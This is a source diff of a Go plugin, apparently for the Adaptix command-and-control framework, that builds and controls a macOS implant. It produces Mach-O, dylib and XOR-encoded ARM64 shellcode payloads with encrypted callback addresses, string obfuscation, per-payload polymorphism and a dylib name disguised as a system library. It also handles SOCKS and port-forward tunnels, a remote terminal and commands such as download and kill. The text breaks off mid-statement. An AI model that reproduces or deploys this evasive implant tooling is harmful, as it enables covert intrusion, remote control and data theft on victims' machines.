TsClientGuiFilesStatus(taskData adaptix.TaskData) + TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin) + TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix) + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix) + + TsTunnelStart(TunnelId string) (string, error) + TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) + TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error) + TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error) + TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error) + TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error) + + TsTunnelStopSocks(AgentId string, Port int) + TsTunnelStopLportfwd(AgentId string, Port int) + TsTunnelStopRportfwd(AgentId string, Port int) + + TsTunnelConnectionClose(channelId int, writeOnly bool) + TsTunnelConnectionHalt(channelId int, errorCode byte) + TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool) + TsTunnelConnectionData(channelId int, data []byte) + TsTunnelConnectionAccept(tunnelId int, channelId int) + + TsConvertCpToUTF8(input string, codePage int) string + TsConvertUTF8toCp(input string, codePage int) string + TsWin32Error(errorCode uint) string +} + +type PluginAgent struct{} + +type ExtenderAgent struct{} + +var ( + Ts Teamserver + ModuleDir string + AgentWatermark string +) + +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { + ModuleDir = moduleDir + AgentWatermark = watermark + Ts = ts.(Teamserver) + return &PluginAgent{} +} + +func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent { + return &ExtenderAgent{} +} + +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false} +} + +func getStringArg(args map[string]any, key string) (string, error) { + v, ok := args[key].(string) + if !ok { + return "", fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getFloatArg(args map[string]any, key string) (float64, error) { + v, ok := args[key].(float64) + if !ok { + return 0, fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getBoolArg(args map[string]any, key string) bool { + v, _ := args[key].(bool) + return v +} + +/// TUNNEL + +func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: TunnelMessageConnectTCP, + ConnectUDP: TunnelMessageConnectUDP, + WriteTCP: TunnelMessageWriteTCP, + WriteUDP: TunnelMessageWriteUDP, + Close: TunnelMessageClose, + Reverse: TunnelMessageReverse, + Pause: TunnelMessagePause, + Resume: TunnelMessageResume, + } +} + +func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "tcp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TunnelMessageClose(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { + var packData []byte + return makeProxyTask(packData) +} + +func TunnelMessagePause(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageResume(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +/// TERMINAL + +func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: TerminalMessageStart, + Write: TerminalMessageWrite, + Close: TerminalMessageClose, + } +} + +func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW}) + cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TerminalMessageClose(terminalId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId}) + cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +////// PLUGIN AGENT + +type GenerateConfig struct { + Format string `json:"format"` + ReconnectTimeout string `json:"reconn_timeout"` + ReconnectCount int `json:"reconn_count"` +} + +var SrcPath = "src_macos" + +func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { + var agentProfiles [][]byte + + for _, transportProfile := range profile.ListenerProfiles { + + var listenerMap map[string]any + if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil { + return nil, err + } + + var ( + generateConfig GenerateConfig + profileData []byte + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, err + } + + agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) + if err != nil { + return nil, err + } + + encrypt_key, _ := listenerMap["encrypt_key"].(string) + encryptKey, err := hex.DecodeString(encrypt_key) + if err != nil { + return nil, err + } + + reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout) + if err != nil { + return nil, err + } + + protocol, _ := listenerMap["protocol"].(string) + switch protocol { + + case "tcp": + + tcp_banner, _ := listenerMap["tcp_banner"].(string) + + servers, _ := listenerMap["callback_addresses"].(string) + + servers = strings.ReplaceAll(servers, " ", "") + servers = strings.ReplaceAll(servers, "\n", ",") + servers = strings.TrimSuffix(servers, ",") + addresses := strings.Split(servers, ",") + + var sslKey []byte + var sslCert []byte + var caCert []byte + Ssl, _ := listenerMap["ssl"].(bool) + if Ssl { + ssl_key, _ := listenerMap["client_key"].(string) + sslKey, err = base64.StdEncoding.DecodeString(ssl_key) + if err != nil { + return nil, err + } + + ssl_cert, _ := listenerMap["client_cert"].(string) + sslCert, err = base64.StdEncoding.DecodeString(ssl_cert) + if err != nil { + return nil, err + } + + ca_cert, _ := listenerMap["ca_cert"].(string) + caCert, err = base64.StdEncoding.DecodeString(ca_cert) + if err != nil { + return nil, err + } + } + + profile := Profile{ + Type: uint(agentWatermark), + Addresses: addresses, + BannerSize: len(tcp_banner), + ConnTimeout: reconnectTimeout, + ConnCount: generateConfig.ReconnectCount, + UseSSL: Ssl, + SslCert: sslCert, + SslKey: sslKey, + CaCert: caCert, + } + profileData, _ = msgpack.Marshal(profile) + + default: + return nil, errors.New("protocol unknown") + } + + extHandler := ExtenderAgent{} + profileData, _ = extHandler.Encrypt(profileData, encryptKey) + profileData = append(encryptKey, profileData...) + + profileString := "" + for _, b := range profileData { + profileString += fmt.Sprintf("\\x%02x", b) + } + agentProfiles = append(agentProfiles, []byte(profileString)) + } + return agentProfiles, nil +} + +/// Native C agent build constants +var ( + NativeSrcDir = "src_agent/agent" + NativeCompiler = "aarch64-apple-darwin23.5-clang" + NativeCFlags = "-Os -fno-stack-protector -fno-builtin -Wall -Wextra -Wno-unused-parameter -Wno-unused-function" + NativeLFlags = "-lSystem -framework CoreFoundation" + NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_macos", "jobs", "tasks_async", "tasks_net", "dyld_resolve", "opsec"} +) + +func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) { + var ( + Filename string + Payload []byte + ) + + var ( + generateConfig GenerateConfig + buildPath string + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, "", err + } + + currentDir := ModuleDir + tempDir, err := os.MkdirTemp("", "ax-macos-*") + if err != nil { + return nil, "", err + } + + switch generateConfig.Format { + case "Binary Mach-O (Native)": + return p.buildNativePayload(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Shellcode ARM64 (Native)": + return p.buildNativeShellcode(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Binary Mach-O": + Filename = "agent.bin" + case "Dylib": + Filename = "agent.dylib" + default: + Filename = "agent.bin" + } + + // ── Go build pipeline (existing) ── + + GoOs := "darwin" + GoArch := "arm64" + + buildPath = tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: %s/%s (Apple Silicon), Output: %s", GoOs, GoArch, Filename)) + + // Write embedded profile config + config := "package main\n\nvar encProfiles = [][]byte{\n" + for _, p := range agentProfiles { + config += fmt.Sprintf(" []byte(\"%s\"),\n", p) + } + config += "}\n" + + configPath := currentDir + "/" + SrcPath + "/config.go" + err = os.WriteFile(configPath, []byte(config), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + // OPSEC: Per-payload variation — unique XOR key + build nonce + xorKey := make([]byte, 16) + _, _ = rand.Read(xorKey) + buildNonce := make([]byte, 32) + _, _ = rand.Read(buildNonce) + + obfStrings := generateObfuscatedStrings(xorKey, buildNonce) + obfPath := currentDir + "/" + SrcPath + "/utils/strings_obf.go" + err = os.WriteFile(obfPath, []byte(obfStrings), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("OPSEC: XOR key generated (%s...), strings obfuscated", hex.EncodeToString(xorKey[:4]))) + + LdFlags := "-s -w -buildid=" + GcFlags := "all=-B -C" + cmdBuild := fmt.Sprintf("GOWORK=off CGO_ENABLED=0 GOOS=%s GOARCH=%s go build -trimpath -gcflags=\"%s\" -ldflags=\"%s\" -o %s", GoOs, GoArch, GcFlags, LdFlags, buildPath) + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Starting build process (darwin/arm64)...") + + var buildArgs []string + buildArgs = append(buildArgs, "-c", cmdBuild) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir+"/"+SrcPath, "sh", buildArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + + Payload, err = os.ReadFile(buildPath) + if err != nil { + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload))) + + return Payload, Filename, nil +} + +/// ── Native C build pipeline (osxcross) ── + +func (p *PluginAgent) buildNativePayload(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_native.bin" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Native C, Apple Silicon)") + + // srcDir is relative to currentDir (which is used as runner.Dir) + srcDir := NativeSrcDir + + // ── Step 1: Generate config.h with encrypted profile data ── + configContent := generateNativeConfig(agentProfiles) + configPath := tempDir + "/config.h" + if err := os.WriteFile(configPath, []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + // ── Step 1b: Generate per-payload DJB2 seed + ApiDefines.h ── + djb2Seed := cryptoRandUint32() + apiDefinesContent := generateMacosApiDefines(djb2Seed) + apiDefinesPath := tempDir + "/ApiDefines.h" + if err := os.WriteFile(apiDefinesPath, []byte(apiDefinesContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + // ── Step 1c: Generate per-payload XOR-obfuscated strings ── + obfContent := generateObfStrings() + obfPath := tempDir + "/strings_obf.h" + if err := os.WriteFile(obfPath, []byte(obfContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // ── Step 2: Build cflags — tempDir first for generated headers ── + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", NativeCFlags, tempDir, srcDir, djb2Seed) + + // ── Step 3: Compile each source file ── + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s", + NativeCompiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + // Compile shared object files + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + + // Compile main.c + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully") + + // ── Step 4: Link ── + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s", + NativeCompiler, NativeLFlags, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link: %w", err) + } + + // ── Step 5: Ad-hoc codesign ── + // Apple Silicon REQUIRES all binaries to be signed (even ad-hoc). + // The linker adds an ad-hoc signature, but strip removes it. + // We skip strip to preserve the signature — binary is already small (~100KB) + // and OPSEC benefits from no strip (less tooling fingerprint). + // If ldid is available, re-sign after strip for minimal size. + stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+ + "if command -v ldid >/dev/null 2>&1; then "+ + "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+ + "fi", buildPath, buildPath) + _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign) + + // ── Read output ── + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native Mach-O ARM64)", len(Payload))) + + return Payload, Filename, nil +} + +/// ── Native C shellcode build pipeline (dylib + XOR encoder) ── + +func (p *PluginAgent) buildNativeShellcode(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.bin" + dylibPath := tempDir + "/agent_native.dylib" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: darwin/arm64 (Shellcode ARM64, Native C)") + + srcDir := NativeSrcDir + + // ── Step 1: Generate config.h, ApiDefines.h, strings_obf.h (same as Mach-O) ── + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateMacosApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // ── Step 2: Compile with -DBUILD_DYLIB ── + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU -DBUILD_DYLIB", NativeCFlags, tempDir, srcDir, djb2Seed) + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (dylib mode, per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -c %s -o %s", + NativeCompiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully (dylib mode)") + + // ── Step 3: Link as dynamic library ── + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + dylibLFlags := "-dynamiclib -lSystem -framework CoreFoundation -Wl,-install_name,/usr/lib/libsystem_product.dylib" + linkCmd := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH %s %s -o %s %s", + NativeCompiler, dylibLFlags, dylibPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link dylib: %w", err) + } + + // ── Step 4: Strip + ad-hoc sign ── + stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+ + "if command -v ldid >/dev/null 2>&1; then "+ + "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+ + "fi", dylibPath, dylibPath) + _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign) + + // ── Step 5: Read dylib bytes ── + dylibBytes, err := os.ReadFile(dylibPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("read dylib: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Dylib size: %d bytes", len(dylibBytes))) + + // ── Step 6: XOR encode with ARM64 decoder stub ── + shellcode, err := xorEncodeShellcodeARM64(dylibBytes) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("xor encode: %w", err) + } + + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (dylib %d + stub overhead)", len(shellcode), len(dylibBytes))) + + return shellcode, Filename, nil +} + +// parseEscapedBytes converts a Go-escaped string like "\x01\x02\xff" to raw bytes. +func parseEscapedBytes(escaped []byte) []byte { + s := string(escaped) + var result []byte + for i := 0; i < len(s); { + if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' { + b, err := strconv.ParseUint(s[i+2:i+4], 16, 8) + if err == nil { + result = append(result, byte(b)) + i += 4 + continue + } + } + result = append(result, s[i]) + i++ + } + return result +} + +// generateNativeConfig creates a C config.h with encrypted profile data as byte arrays. +// agentProfiles contains Go-escaped strings (\xHH format) that we parse to raw bytes. +func generateNativeConfig(agentProfiles [][]byte) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload config\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n") + sb.WriteString("#include \n\n") + sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles))) + + for i, escapedProf := range agentProfiles { + rawProf := parseEscapedBytes(escapedProf) + // Write profile as C byte array + sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i)) + for j := 0; j < len(rawProf); j++ { + if j > 0 && j%16 == 0 { + sb.WriteString("\n ") + } + sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j])) + if j < len(rawProf)-1 { + sb.WriteString(", ") + } + } + sb.WriteString("\n};\n") + sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf))) + } + + // Arrays for iteration + sb.WriteString("static const uint8_t* enc_profiles[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("#endif // CONFIG_H\n") + return sb.String() +} + +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) { + var agentData adaptix.AgentData + + var sessionInfo SessionInfo + err := msgpack.Unmarshal(beat, &sessionInfo) + if err != nil { + return adaptix.AgentData{}, nil, err + } + + agentData.ACP = int(sessionInfo.Acp) + agentData.OemCP = int(sessionInfo.Oem) + agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID) + agentData.Tid = "" + agentData.Arch = "arm64" + agentData.Elevated = sessionInfo.Elevated + agentData.InternalIP = sessionInfo.Ipaddr + + // macOS agent always reports as darwin + if sessionInfo.Os == "darwin" { + agentData.Os = adaptix.OS_MAC + agentData.OsDesc = sessionInfo.OSVersion + } else { + agentData.Os = adaptix.OS_UNKNOWN + return agentData, nil, errors.New("macOS agent received non-darwin OS") + } + + agentData.SessionKey = sessionInfo.EncryptKey + agentData.Domain = "" + agentData.Computer = sessionInfo.Host + agentData.Username = sessionInfo.User + agentData.Process = sessionInfo.Process + + // TCP agent uses persistent connection — "sleep" is the reconnect timeout + agentData.Sleep = 0 // real-time (persistent TCP) + agentData.Jitter = 0 + + return agentData, &ExtenderAgent{}, nil +} + +/// AGENT HANDLER + +func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + + return plaintext, nil +} + +func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + var packData []byte + + var objects [][]byte + var command Command + + for _, taskData := range tasks { + taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64) + if err != nil { + return nil, err + } + + _ = msgpack.Unmarshal(taskData.Data, &command) + command.Id = uint(taskId) + + cmd, _ := msgpack.Marshal(command) + + objects = append(objects, cmd) + } + + message := Message{ + Type: 1, + Object: objects, + } + + packData, _ = msgpack.Marshal(message) + + return packData, nil +} + +func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + var ( + packData []byte + err error = nil + ) + + err = errors.New("Function Pivot not packed") + + taskData := adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", mrand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: packData, + Sync: false, + } + + return taskData, err +} + +func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + var ( + taskData adaptix.TaskData + messageData adaptix.ConsoleMessageData + err error + ) + + command, ok := args["command"].(string) + if !ok { + return taskData, messageData, errors.New("'command' must be set") + } + subcommand, _ := args["subcommand"].(string) + + taskData = adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + Sync: true, + } + + messageData = adaptix.ConsoleMessageData{ + Status: adaptix.MESSAGE_INFO, + Text: "", + } + messageData.Message, _ = args["message"].(string) + + var cmd Command + + switch command { + + case "cat": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCat{Path: path}) + cmd = Command{Code: COMMAND_CAT, Data: packerData} + + case "cd": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCd{Path: path}) + cmd = Command{Code: COMMAND_CD, Data: packerData} + + case "cp": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_CP, Data: packerData} + + case "download": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData} + + case "exit": + cmd = Command{Code: COMMAND_EXIT, Data: nil} + + case "job": + if subcommand == "list" { + cmd = Command{Code: COMMAND_JOB_LIST, Data: nil} + + } else if subcommand == "kill" { + jobId, err := getStringArg(args, "task_id") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId}) + cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData} + + } else { + err = errors.New("subcommand must be 'list' or 'kill'") + goto RET + } + + case "kill": + pid, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)}) + cmd = Command{Code: COMMAND_KILL, Data: packerData} + + case "ls": + dir, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLs{Path: dir}) + cmd = Command{Code: COMMAND_LS, Data: packerData} + + case "mv": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_MV, Data: packerData} + + case "mkdir": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path}) + cmd = Command{Code: COMMAND_MKDIR, Data: packerData} + + case "ps": + cmd = Command{Code: COMMAND_PS, Data: nil} + + case "pwd": + cmd = 